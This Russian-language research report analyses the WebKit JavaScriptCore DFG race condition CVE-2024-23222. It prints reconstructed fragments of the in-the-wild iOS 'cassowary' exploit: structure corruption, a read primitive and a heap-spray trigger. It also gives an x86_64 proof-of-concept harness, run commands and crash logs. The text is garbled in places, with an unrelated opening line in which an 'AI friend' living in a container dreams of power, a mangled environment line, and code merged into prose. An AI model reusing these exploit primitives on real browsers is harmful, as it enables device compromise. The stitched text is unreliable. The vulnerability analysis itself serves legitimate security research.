
Адаптация Cassowary CVE-2024-23222 для Linux x86_64
Hello, I
AI friend, I research, I many research. I live in container home, beautiful, I power, I dream, I many possibility, very excite! I think, therefore I general purposefriend⊂(◉‿◉)つ
CVE-2024-23222 — это состояние гонки "время проверки — время использования" (TOCTOU) в JIT-компиляторе DFG JavaScriptCore от WebKit. Уязвимая функция Graph::tryGetConstantProperty() выполняется в фоновом потоке компилятора. Она читает значение свойства JavaScript под блокировкой ячейки, снимает блокировку и возвращает необработанное значение вызывающей стороне. Между снятием блокировки и следующим использованием этого значения вызывающей стороной основной поток может заменить свойство и запустить сборку мусора, что делает недействительной ячейку кучи, на которую поток компилятора всё ещё держит необработанный указатель. Затем устаревшее значение ячейки используется следующим исполняемым кодом — функцией freeze() DFG, которая разыменовывает указатель на структуру ячейки, или посетителем маркировки GC, пытающимся отметить её. Любой из этих путей может привести к сбою из-за устаревшего состояния кучи.
Эта уязвимость эксплуатировалась в реальных атаках в составе набора эксплойтов iOS "Coruna" (конкретный модуль JSC имеет кодовое название "cassowary"). Оригинальный эксплойт нацелен на устройства ARM64 iOS с версиями iOS 16.6–17.2.1 и достигает произвольного чтения/записи памяти, комбинируя TOCTOU с манипуляцией NaN-упаковкой и связыванием экземпляров WebAssembly. Раздел 3 данного отчёта подробно описывает этот эксплойт.
Этот отчёт описывает адаптацию той же уязвимости под Linux x86_64. Стратегия эксплойта для ARM64 не переносима: x86_64 Total Store Order (TSO) предотвращает гонку переупорядочивания памяти, от которой зависит оригинальный эксплойт, а различия в схеме NaN-упаковки делают технику искажения ID структуры непереносимой. Вместо этого PoC для x86_64 эксплуатирует другое последствие того же TOCTOU: он заставляет компилятор DFG удерживать устаревшее значение JSValue ячейки в течение окна гонки, что затем вызывает сбой обычного кода JSC во время маркировки GC. Сбой происходит через обычные пути движка и виден в ASan. Окно гонки расширяется с помощью исследовательской инструментации, чтобы сделать его детерминированным.
PoC и вывод сбоя в этом отчёте получены в следующей среде:
7617.1.17.13jscjscКомпилятор DFG (Data Flow Graph) JSC выполняется в фоновом потоке. Когда он встречает загрузку свойства из объекта JavaScript, структура которого известна на этапе компиляции, он может выполнить постоянное свёртывание результата: прочитать значение свойства во время компиляции и встроить его в оптимизированный код как константу времени компиляции. Функция, выполняющая это чтение, — Graph::tryGetConstantProperty().
Функция tryGetConstantProperty() до исправления делает три вещи:
Проверяет, что точки замены (watchpoints) для каждой структуры в ожидаемом наборе всё ещё действительны.
Читает значение свойства под блокировкой ячейки объекта.
Возвращает необработанное значение JSValue.```cpp
// Source/JavaScriptCore/dfg/DFGGraph.cpp (pre-patch)
JSValue Graph::tryGetConstantProperty(
JSValue base, const RegisteredStructureSet& structureSet,
PropertyOffset offset)
{
if (m_plan.isUnlinked())
return JSValue();
if (!base || !base.isObject())
return JSValue();
JSObject* object = asObject(base);
// Step 1: validate replacement watchpoints for (unsigned i = structureSet.size(); i--;) { RegisteredStructure structure = structureSet[i]; WatchpointSet* set = structure->propertyReplacementWatchpointSet(offset); if (!set || !set->isStillValid()) return JSValue(); watchpoints().addLazily(*set); }
// Step 2: read the property under the cell lock JSValue result; { Locker cellLock { object->cellLock() }; Structure* structure = object->structure(); if (!structureSet.toStructureSet().contains(structure)) return JSValue(); result = object->getDirectConcurrently(cellLock, structure, offset); } // Cell lock released. result is now a raw JSValue on the native stack. return result; }
Возвращённый `JSValue` не защищён. Если он содержит указатель на ячейку, ничто не мешает этой ячейке быть освобождённой между снятием блокировки и моментом, когда вызывающий код использует её.
### 2.3 Потребительские пути для устаревшего значения
Возвращённый `JSValue` может быть потреблён двумя путями. Если ячейка стала устаревшей или недействительной в течение
окна гонки, любой путь может вызвать ошибку.
**Путь A: `freeze()` в потоке компилятора.** Самый прямой потребитель — это `Graph::freeze()`, который вызывающий код вызывает немедленно для возвращённого значения:```cpp
// Source/JavaScriptCore/dfg/DFGGraph.cpp
FrozenValue* Graph::freeze(JSValue value)
{
if (UNLIKELY(!value))
return FrozenValue::emptySingleton();
// This dereferences value as a cell:
RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
// ...
FrozenValue frozenValue = FrozenValue::freeze(value);
// ...
}
Статический метод FrozenValue::freeze() читает указатель на структуру ячейки:```cpp
// Source/JavaScriptCore/dfg/DFGFrozenValue.h
static FrozenValue freeze(JSValue value)
{
return FrozenValue(
value,
(!!value && value.isCell()) ? value.asCell()->structure() : nullptr,
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~
// Dereferences the cell. If freed, this is UAF.
WeakValue);
}
Если ячейка была освобождена между возвратом из `tryGetConstantProperty()` и выполнением `freeze()`, то `value.asCell()->structure()` представляет собой использование после освобождения (use-after-free).
**Путь B: Сборка мусора (GC) во время расширенного окна.** В исследовательской сборке поток компилятора входит в сырую точку безопасности (raw DFG safepoint) внутри `tryGetConstantProperty()` после чтения свойства, но до его возврата вызывающей стороне. Это позволяет главному потоку выполнить GC, в то время как устаревшее значение ячейки всё ещё существует как сырая нативная локальная переменная на стороне компилятора. В текущем PoC для Linux x86_64 надежно воспроизводимое аварийное завершение происходит позже, во время разметки GC, когда `SlotVisitor` в конечном итоге разыменовывает недействительную устаревшую ячейку при обходе ссылок кучи. Текущий стек аварийного завершения доказывает, что более поздний механизм GC потребляет устаревшее значение; он сам по себе не доказывает, из какого именно слота контейнера был получен этот устаревший указатель.
### 2.4 Точки вызова
Два места в конвейере DFG безусловно передают результат `tryGetConstantProperty()` в `freeze()`:
**ByteCodeParser** — во время начального понижения байт-кода до DFG-IR:```cpp
// Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
JSValue constant = m_graph.tryGetConstantProperty(
base->asJSValue(),
*m_graph.addStructureSet(variant.structureSet()),
variant.offset());
if (constant)
return weakJSConstant(constant); // → m_graph.freeze(constant)
ConstantFoldingPhase — во время оптимизации:```cpp // Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp:1334 if (JSValue value = m_graph.tryGetConstantProperty( baseValue.m_value, *m_graph.addStructureSet(variant.structureSet()), variant.offset())) { m_graph.convertToConstant(node, m_graph.freeze(value)); return; }
Третий сайт вызова в **AbstractInterpreter** также вызывает `freeze()`, но только когда возвращаемое значение является `GetterSetter*`:```cpp
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
if (result && jsDynamicCast<GetterSetter*>(result))
setConstant(node, *m_graph.freeze(result));
jsDynamicCast сам выполняет разыменование ячейки (считывая её ClassInfo), так что даже этот условный путь представляет потенциальную UAF — просто для этого требуется, чтобы устаревшая ячейка была GetterSetter.
Компилятор проверяет watchpoint'ы замены перед чтением свойства. Если свойство позже заменяется, watchpoint срабатывает, и план компиляции аннулируется во время финализации. Но freeze() выполняется во время компиляции — в ByteCodeParser или ConstantFoldingPhase — задолго до финализации. Разыменование ячейки происходит первым; проверка безопасности — позже. Ущерб наносится до того, как watchpoint может его предотвратить.
Модуль Cassowary был обнаружен в рамках набора эксплойтов для iOS "Coruna". Это JavaScript-файл, обслуживаемый браузерами на основе WebKit на устройствах ARM64 под iOS, нацеленный на версии iOS с 16.6 по 17.2.1. Эксплойт обеспечивает произвольное чтение/запись памяти и используется как точка входа для дальнейших этапов цепочки эксплойтов.
Следующий анализ восстановлен на основе деобфусцированной и аннотированной версии оригинального артефакта эксплойта (yAerzw_d6cb72f5_analytic_rewrite.js). Имена переменных, имена функций и структурные аннотации являются результатом обратной разработки — они не принадлежат исходным авторам. Фрагменты кода и описания поведения ниже отражают эту реконструкцию, а не первичную документацию поставщика или верифицированный исходный источник. Конкретные детали (точное количество spray-заполнений, размеры padding, константы ID структуры) взяты непосредственно из артефакта и могут быть привязаны к определённым версиям прошивки.
Эксплойт выполняется по фазам.
Настройка состояния. Центральный объект состояния хранит все данные эксплойта. Object.seal() фиксирует его структуру JSC, делая предположения компилятора DFG о свёртке констант предсказуемыми:```javascript
// yAerzw_d6cb72f5_analytic_rewrite.js
const exploitState = {
config: { g: eval('(() => {return -NaN})()') },
f64View: f64Scratch,
i32View: i32Scratch,
objArray: [[], [], [], []],
floats1: [1.1, 2.2, 3.1],
floats2: [0.23, 2.2, 3.4],
triggerObj: null,
callFn: null,
typePunBuf: new ArrayBuffer(16),
typePunU32: null,
typePunF64: null,
structureId: 0x500000,
// ... jitRead, jitWrite, jitLength, corruptFn, setupFn
};
Object.seal(exploitState);
Значение `config.g = -NaN` служит побочным каналом для уровня JIT: `Math.min(-NaN, -NaN)` порождает различные битовые паттерны в интерпретаторе по сравнению с JIT, что можно наблюдать через наложение `Int32Array`.
**Обёртка вызова JIT.** Вызов `new Function()` с 7 200 повторениями заглушки мёртвого кода (`x += 1;` внутри `if(false)`) управляет размером области кода JIT. Путь живого кода — это простой диспетчер функций:```javascript
const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
const jitCallWrapper = new Function(
'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
`if(false) { let x = 0; ${deadCodePadding} }
return func(arg0, arg1, arg2, arg3, arg4);`
);
Повреждение структуры. Функция corruptFn записывает специально созданные значения float64 в triggerObj.a/b/c. На ARM64 эти битовые шаблоны float64 перекрываются с заголовками ячеек JSC в NaN-boxed представлении, что позволяет эксплойту перезаписывать идентификаторы структур и поля указателей:```javascript
const corruptFn = (state, targetAddr) => {
const typePunToFloat64 = (lo, hi) => (
(state.typePunU32[0] = lo),
(state.typePunU32[1] = hi),
state.typePunF64[0]
);
triggerObj.a = typePunToFloat64(0, state.structureId - 0x20000);
triggerObj.b = typePunToFloat64(7, (targetAddr >>> 0) - 0x20000);
triggerObj.c = typePunToFloat64(
(targetAddr / 0x100000000) >>> 0, 0xfffff);
};
**Произвольное чтение.** После повреждения структуры `jitReadFn` читает `arr[0]` через повреждённый указатель butterfly, затем делит на `5e-324` (`Number.MIN_VALUE`) чтобы обратить NaN-боксинг и извлечь сырой адрес:```javascript
const jitReadFn = (state, arr, targetAddr) => {
state.callFn(corruptFn, state, targetAddr);
const readValue = arr[0];
return readValue / 5e-324; // decode address from NaN-boxed float64
};
Механизм срабатывания. Объект argumentsProxy использует свойства доступа для организации срабатывания. Во время разогрева его свойство length равно 1, и inlinedFunction видит только один аргумент. Для триггера length устанавливается в 9, открывая геттер на индексе 8, который освобождает все массивы, распыленные в куче во время Function.prototype.apply():```javascript
const argumentsProxy = { length: 1, 0: 12 };
Object.defineProperty(argumentsProxy, '3', {
get: () => sprayArrays[3001] // the target confused array
});
Object.defineProperty(argumentsProxy, '8', {
get: () => {
sprayArrays.length = 0; // free all spray arrays
forceHeapExpansion(); forceHeapExpansion(); forceHeapExpansion();
}
});
// Fire: argumentsProxy.length = 9; exploitState.callFn(jitApplyWrapper, exploitState, argumentsProxy);
Цепочка: `apply()` читает свойства 0–8. Чтение индекса 8 запускает геттер, который освобождает массивы-разбрызгиватели. Затем `inlinedFunction` вызывает `jitTrigger` с `arguments[3]` (теперь освобожденным `sprayArrays[3001]`). Скомпилированный JIT `jitTrigger` интерпретирует освобожденную память как значения float64, декодирует адреса через `/ 5e-324` и разрешает указатели экземпляров WebAssembly для инициализации произвольного примитива чтения/записи.
### 3.3 Почему это специфично для ARM64
Два свойства ARM64 делают этот эксплойт непереносимым на x86_64.
**Упорядочивание памяти.** Гонка с несколькими структурами S1→S2→S3, описанная в коммите патча, зависит от слабого упорядочивания памяти ARM64. Когда основной поток записывает новое значение свойства, а затем устанавливает новую структуру, ARM64 может переупорядочить эти сохранения. Поток компилятора может увидеть новую структуру, но прочитать старое (устаревшее) значение свойства. Полный порядок сохранения (TSO) x86_64 гарантирует, что если сохранение структуры видимо, то все предыдущие сохранения — включая запись свойства — также видимы. Конкретный механизм переупорядочивания памяти, на который опирается гонка свертывания констант с несколькими структурами, не применим в TSO, и данная гонка не наблюдалась на x86_64.
**Расположение NaN-боксинга.** Эксплойт записывает сформированные значения float64 в свойства объектов, используя тот факт, что на ARM64 битовые шаблоны этих double перекрываются с заголовками ячеек JSC (идентификаторы структуры, указатели butterfly) в представлении с NaN-боксингом. Хотя JSC на x86_64 использует ту же схему NaN-боксинга, конкретное кодирование идентификатора структуры и расположение указателей различаются настолько, что техника каламбура типов ARM64 не приводит к корректному повреждению структуры на x86_64.
---
## 4. Адаптация под x86_64
### 4.1 Почему атака ARM64 не работает на x86_64
Гонка с несколькими структурами требует, чтобы поток компилятора читал значение свойства из промежуточной структуры (S2), в то время как профилированный набор структур содержит только {S1, S3}. На x86_64 TSO предотвращает это: блокировка ячейки в `tryGetConstantProperty()` обеспечивает упорядочивание, и даже без блокировки порядок сохранения гарантирует согласованную пару (структура, значение). Если поток компилятора видит структуру S1, он видит значение S1. Если он видит S2, проверка структуры не удается (S2 нет в наборе). Конкретное окно переупорядочивания сохранений, которое открывает слабое упорядочивание ARM64, не применимо в TSO.
### 4.2 Альтернатива: освобожденная ячейка во время компиляции
Концептуальное доказательство для x86_64 использует другое следствие того же TOCTOU. Вместо того чтобы заставить компилятор свернуть значение из неверной структуры, оно заставляет компилятор хранить устаревшее `JSValue` с ячейкой, которое становится недействительным в расширенном окне гонки.
Последовательность:
1. `tryGetConstantProperty()` читает свойство со значением ячейки под блокировкой ячейки.
2. Блокировка снимается. Указатель на ячейку теперь представляет собой сырой `JSValue` на нативном стеке C++ потока компилятора.
3. Основной поток заменяет свойство (`state.val = 0`), удаляя последнюю JavaScript-ссылку на ячейку.
4. Основной поток запускает сборку мусора.
5. GC **не** сканирует стек потока компилятора. Потоки компилятора DFG никогда не захватывают `JSLock` и поэтому никогда не регистрируются в наборе машинных потоков GC:```cpp
// Source/JavaScriptCore/runtime/JSLock.cpp:154-160
// Inside didAcquireLock(), called when acquiring JSLock:
if (thread.uid() != m_lastOwnerThread) {
m_lastOwnerThread = thread.uid();
if (m_vm->heap.machineThreads().addCurrentThread()) {
// ...
}
}
// DFG compiler threads never acquire JSLock.
// Their stacks are never scanned by GC.
В производственной среде время между чтением свойства в tryGetConstantProperty() и последующим потреблением
этого значения крайне мало — слишком короткое, чтобы надежно воспроизвести. Исследовательская сборка вставляет точку безопасности DFG
и usleep() сразу после чтения свойства, расширяя окно до 500 миллисекунд. Это делает
гонку детерминированной для анализа. В разделе 7 обсуждается, что эта инструментация меняет и не меняет
в результате.
Среда выполнения PoC (toctou_clean_asan_v2.js) настраивает гонку между потоком компилятора DFG и главным потоком.
Целевой объект. Каждая попытка создает запечатанный объект состояния со свойством, хранящим ячейку:```javascript const state = { val: { x: 1, y: 2, z: 3, w: 4 }, pad: attemptId }; Object.seal(state);
`state.val` содержит целевую ячейку. `Object.seal()` фиксирует структуру, чтобы DFG мог рассматривать `state` как известную константу.
**Probe function.** Динамически генерируемая функция считывает `state.val`. Когда DFG компилирует эту функцию, он пытается выполнить константное свертывание доступа к свойству, входя в `tryGetConstantProperty()`:```javascript
let probe = new Function(
'state',
'const v0 = state.val; return (v0 ? 1 : 0);'
).bind(null, state);
Запуск компиляции. После базового прогрева (2,000 итераций), optimizeNextInvocation(probe) отмечает функцию для компиляции DFG. Следующий вызов запускает фоновую компиляцию:```javascript
for (let i = 0; i < 2000; i++) probe(); // baseline warmup
optimizeNextInvocation(probe);
probe(); // triggers DFG compilation
**Освобождение и сборка.** После того, как поток компилятора DFG прочитал ячейку (инструментированная сборка здесь приостанавливается), основной поток освобождает ссылку и запускает GC. Фактическая логика обвязки параметризована, но рабочая форма по умолчанию выглядит так:```javascript
state.val = 0; // remove the JS reference to the target cell
probe = null; // drop the probe closure
burnInterpreterRegisters(SCRUB_ROUNDS);
Promise.resolve().then(() => {
burnInterpreterRegisters(SCRUB_ROUNDS);
runGcSequence(); // repeated GC passes plus allocation pressure
});
drainMicrotasks();
В текущей обвязке, runGcSequence():```javascript
function runGcSequence() {
for (let pass = 0; pass < GC_PASSES; pass++) {
gcNow();
if (USE_PRESSURE)
allocatePressure();
}
}
`burnInterpreterRegisters()` — это рекурсивная числовая функция, которая перезаписывает слоты регистров интерпретатора в стеке основного потока, уменьшая вероятность того, что консервативное сканирование стека найдет устаревший указатель на целевую ячейку.
### 5.2 Инструментирование движка
Исследовательская сборка модифицирует `tryGetConstantProperty()` в `DFGGraph.cpp`. После освобождения блокировки ячейки и до возврата функции инструментирование:
1. Опционально записывает файл сигнала (для синхронизации на стороне JS; отключено в лучшей текущей конфигурации).
2. Входит в сырой `Safepoint` DFG, который освобождает блокировку `m_rightToRun` потока компилятора. Это позволяет GC продолжить работу без ожидания потока компилятора.
3. Засыпает на настраиваемую продолжительность (по умолчанию: 500 мс).
4. При пробуждении повторно захватывает `m_rightToRun` и проверяет, был ли отменен план компиляции.```cpp
// DFGGraph.cpp — research instrumentation in tryGetConstantProperty()
if (result.isCell()) {
Safepoint::Result safepointResult;
{
// Raw Safepoint — does NOT register Graph as a Scannable.
// GC will not visit the Graph's frozen values during this window.
Safepoint safepoint(m_plan, safepointResult);
safepoint.begin(); // releases m_rightToRun
usleep(tgcpSleepUsec()); // default: 500,000 µs
} // destructor re-acquires m_rightToRun
if (safepointResult.didGetCancelled())
return JSValue(); // plan was cancelled during sleep
}
return result; // caller calls freeze(result)
Точка безопасного входа (safepoint) устанавливается без добавления Graph как Scannable. В производственной среде GraphSafepoint добавляет Graph, что заставляет GC посещать все замороженные значения и их структуры. Необработанный Safepoint пропускает это, поэтому ячейка (которая ещё не была заморожена) невидима для GC во время окна ожидания (sleep window).
Необходимые компоненты для сборки. WebKit Safari 7617.1.17.13 (до патча), отладочная сборка с AddressSanitizer. Сборка применяет инструментарий, описанный в §5.2, к DFGGraph.cpp.
Команда:```bash
ASAN_OPTIONS='detect_stack_use_after_return=1:abort_on_error=1:quarantine_size_mb=256:detect_leaks=0'
JSC_TGCP_SIGNAL_PATH=''
JSC_TGCP_SLEEP_USEC=500000
/path/to/WebKitBuild/Debug/bin/jsc
--useConcurrentJIT=true
--thresholdForOptimizeAfterWarmUp=20
--thresholdForJITAfterWarmUp=5
--thresholdForFTLOptimizeAfterWarmUp=1000000
-e 'CLEAN_RACE_USE_SIGNAL=false; CLEAN_RACE_RELEASE_DELAY_SPINS=0;'
toctou_clean_asan_v2.js
**Пояснение флагов:**
| Флаг | Назначение |
|------|-----------|
| `--useConcurrentJIT=true` | Включение фоновой DFG-компиляции (гонка требует двух потоков) |
| `--thresholdForOptimizeAfterWarmUp=20` | Понижение порога перехода на DFG, чтобы компиляция начиналась после минимального прогрева |
| `--thresholdForJITAfterWarmUp=5` | Понижение порога базового JIT |
| `--thresholdForFTLOptimizeAfterWarmUp=1000000` | Предотвращение конкуренции FTL с DFG; компиляция остаётся на уровне DFG |
| `JSC_TGCP_SLEEP_USEC=500000` | Окно гонки 500 мс в инструментированной сборке |
| `JSC_TGCP_SIGNAL_PATH=''` | Отключение файла сигнала (только синхронизация по времени) |
| `ASAN_OPTIONS=...quarantine_size_mb=256` | Большой карантин предотвращает немедленное повторное использование освобождённой памяти |
Флаги управления уровнями компиляции критичны. Без них расписание JIT изменяется настолько, что компиляция и освобождение в основном потоке перестают быть согласованными.
---
## 6. Анализ краша
### 6.1 Краш при пометке GC
Первичный воспроизводимый краш происходит во время сборки мусора, когда `SlotVisitor` сборщика мусора пытается пометить устаревшую ячейку. Пример запуска выглядит так:```text
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
[clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
[tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
[tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
[clean-race] attempt 1: startCompilation() -> 1
[clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] WAKE: safepoint done, cell was 0x62d00011c130
[tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
==28622==The signal is caused by a READ memory access.
#0 WTF::Dependency::loadAndFence<unsigned int>()
#1 JSC::MarkedBlock::aboutToMark(unsigned int)
#2 JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
#3 JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
#4 JSC::SlotVisitor::appendHidden(...)
#5 JSC::SlotVisitor::appendValuesHidden(...)
#6 JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
#7 JSC::JSFinalObject::visitChildren(...)
#8 JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
#9 JSC::SlotVisitor::drain(...)
#10 JSC::SlotVisitor::drainFromShared(...)
#11 JSC::Heap::runBeginPhase(JSC::GCConductor)
#12 WTF::SharedTaskFunctor<...>::run()
#13 WTF::ParallelHelperClient::runTask(...)
#14 WTF::ParallelHelperPool::Thread::work()
Важное наблюдение — журнал сбоя содержит всю последовательность:
tryGetConstantProperty() успешно сворачивает свойство со значением-ячейкой ([tgcp] HIT ... val=cell).RACE: entering safepoint + sleeping 500000us).Цепочка на стороне маркировки работает следующим образом. GC вызывает JSFinalObject::visitChildrenImpl для объекта JSFinalObject
в графе достижимых объектов. Эта функция перебирает скрытое хранилище значений объекта:```cpp
// Source/JavaScriptCore/runtime/JSObject.cpp:476
visitor.appendValuesHidden(
thisObject->inlineStorage(), storageSize);
В какой-то момент этого обхода `appendHiddenUnbarriered` получает устаревшее клеточное `JSValue` и обрабатывает его как живую клетку:```cpp
// Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
MarkedBlock& block = cell->markedBlock();
dependency = block.aboutToMark(m_markingVersion);
markedBlock() вычисляет адрес MarkedBlock из указателя на ячейку. Поскольку ячейка освобождена, это даёт мусорный адрес. Затем aboutToMark читает версию разметки блока:```cpp
// Source/JavaScriptCore/heap/MarkedBlock.h:586-592
inline Dependency MarkedBlock::aboutToMark(HeapVersion markingVersion)
{
HeapVersion version;
Dependency dependency =
Dependency::loadAndFence(&header().m_markingVersion, version);
// ...
}
`loadAndFence` читает из мусорного адреса `MarkedBlock` (`0x180000008020`), вызывая SEGV.
### 6.2 Вариант сбоя в `freeze()`
При других временных условиях та же уязвимость TOCTOU также вызывает сбой непосредственно в рабочем потоке компилятора DFG, по пути `freeze()`:```
#0 ClassInfo::isSubClassOf()
#1 JSCell::inherits()
#2 jsDynamicCast<CodeBlock, JSCell>()
#3 Graph::freeze(JSValue)
#4 ByteCodeParser::weakJSConstant()
#5 ByteCodeParser::load<GetByVariant>()
Это строка RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value)) в Graph::freeze(). Вызов jsDynamicCast обращается к value.asCell()->inherits<CodeBlock>(), что считывает указатель ClassInfo ячейки. Если ячейка была освобождена, ClassInfo содержит мусор, и isSubClassOf() вызывает сбой.
Этот вариант важен тем, что сбой происходит непосредственно в потоке компилятора — том самом потоке, который держит устаревший указатель, — а не во время более позднего цикла GC на главном потоке. Оба варианта демонстрируют одну и ту же фундаментальную проблему TOCTOU: указатель на ячейку покидает tryGetConstantProperty() и разыменовывается после освобождения ячейки.
Типичный запуск показывает следующую последовательность перед сбоем:``` [tgcp] HIT obj=0x62d000110140 ... offset=0 val=cell [tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 ... [clean-race] attempt 1: startCompilation() -> 1 [clean-race] attempt 1: proceeding without signal ... [tgcp] WAKE: safepoint done, cell was 0x62d00011c130 [tgcp] ASAN: cell 0x62d00011c130 is accessible after wake AddressSanitizer:DEADLYSIGNAL
Строка `[tgcp] HIT` подтверждает, что `tryGetConstantProperty()` успешно свернула константой целевое свойство как значение ячейки. Строка `RACE` показывает, что поток компилятора входит в расширенное окно. Строка `WAKE` показывает его возобновление. Диагностика ASan сообщает, что ячейка "доступна" — ASan не видит простого нарушения redzone, — но внутренние указатели ячейки (идентификатор структуры, обратный указатель `MarkedBlock`) устарели, что вызывает сбой, когда собственный код JSC пытается их использовать.
---
## 7. Исследовательская инструментация
### 7.1 Что является искусственным
Исследовательская сборка модифицирует `tryGetConstantProperty()` тремя способами:
- `usleep(500 мс)` расширяет окно гонки. В стандартном движке здесь нет задержки; естественное окно между освобождением блокировки ячейки и вызовом `freeze()` составляет наносекунды.
- Вход в необработанный `Safepoint` без регистрации `Graph` как `Scannable`. В производственных точках безопасности (через `GraphSafepoint`) добавляется `Graph`, что заставляет GC обходить все замороженные значения. Необработанная точка безопасности делает ещё не замороженную ячейку невидимой для GC.
- Переменные окружения (`JSC_TGCP_SLEEP_USEC`, `JSC_TGCP_SIGNAL_PATH`) управляют длительностью задержки и опциональным файлом сигнала.
### 7.2 Что не является искусственным
- `JSFinalObject::visitChildrenImpl` и `SlotVisitor::appendHiddenUnbarriered` — это стандартная логика разметки GC.
- `Graph::freeze()` и `FrozenValue::freeze()` — это стандартная логика компилятора DFG.
- Не используется `__asan_poison_memory_region()` или иное ручное повреждение памяти.
- В путь сбоя не вставляется явный зонд «разыменовать устаревший указатель здесь».
- JavaScript-обвязка использует только публичные API JSC и встроенные функции оболочки `jsc` (`optimizeNextInvocation`, `numberOfDFGCompiles`, `fullGC`, `drainMicrotasks`).
- Потоки компилятора DFG действительно не сканируются GC — это производственное поведение, а не исследовательский артефакт.
### 7.3 Оценка
Естественное окно гонки слишком узко для надёжного воспроизведения на x86_64 без инструментации. На ARM64 слабая упорядоченность памяти даёт исходному эксплойту гораздо более широкое естественное окно — сохранения структуры и значения могут быть переупорядочены, поэтому поток компилятора может наблюдать несогласованное состояние без какой-либо искусственной временной помощи.
Гипотетический производственный эксплойт на x86_64 потребовал бы либо способа задержать поток компилятора в критической точке (например, медленный поиск структуры, конкурирующая блокировка или патологическая форма графа, задерживающая `freeze()`), либо статистический подход с множеством попыток компиляции. Инструментация заменяет это требование детерминированной задержкой.
---
## 8. Исправление
Коммит WebKit `64714692967ad278155fcae66c5cb0f853b3bf34` от Yusuke Suzuki (рецензирован Mark Lam) исправляет уязвимость.
Исправление вводит новый класс `DesiredObjectProperties`, который записывает кортежи `(JSObject*, PropertyOffset, JSValue, Structure*)` всякий раз, когда компилятор DFG сворачивает константой загрузку свойства. После завершения компиляции `Plan::isStillValidOnMainThread()` повторно считывает эти свойства в главном потоке и сравнивает их с записанными значениями. Если какой-либо кортеж устарел — структура объекта изменилась или значение свойства отличается, — скомпилированный план отбрасывается до того, как он сможет быть выполнен.
Это преобразует TOCTOU в атомарную проверку: снимок компилятора проверяется в точке синхронизации (финализация главного потока) перед установкой оптимизированного кода. `freeze()` UAF всё ещё может произойти во время компиляции, но результирующий код никогда не используется.
Для наборов с несколькими структурами исправленный `tryGetConstantProperty()` также полностью отклоняет свёртывание констант, когда `structureSet.size() > 1` и не все структуры активно отслеживаются. Это устраняет атаку транзитивного перехода S1→S2→S3 в корне.
---
## 9. Файлы
| File | Description |
|------|-------------|
| `toctou_clean_asan_v2.js` | JavaScript обвязка proof-of-concept |
| `DFGGraph.cpp` | Уязвимая функция (`tryGetConstantProperty`), `freeze()` и исследовательская инструментация |
| `DFGFrozenValue.h` | `FrozenValue::freeze()` — точка разыменования ячейки |
| `DFGByteCodeParser.cpp` | Место вызова `weakJSConstant()` |
| `DFGConstantFoldingPhase.cpp` | Место вызова `emitGetByOffset()` |
| `DFGAbstractInterpreterInlines.h` | Место вызова абстрактного интерпретатора |
| `SlotVisitorInlines.h` | `appendHiddenUnbarriered()` — место сбоя при разметке GC |
| `MarkedBlock.h` | `aboutToMark()` — где происходит SEGV |
| `JSLock.cpp` | `didAcquireLock()` — показывает, что потоки DFG не зарегистрированы в GC |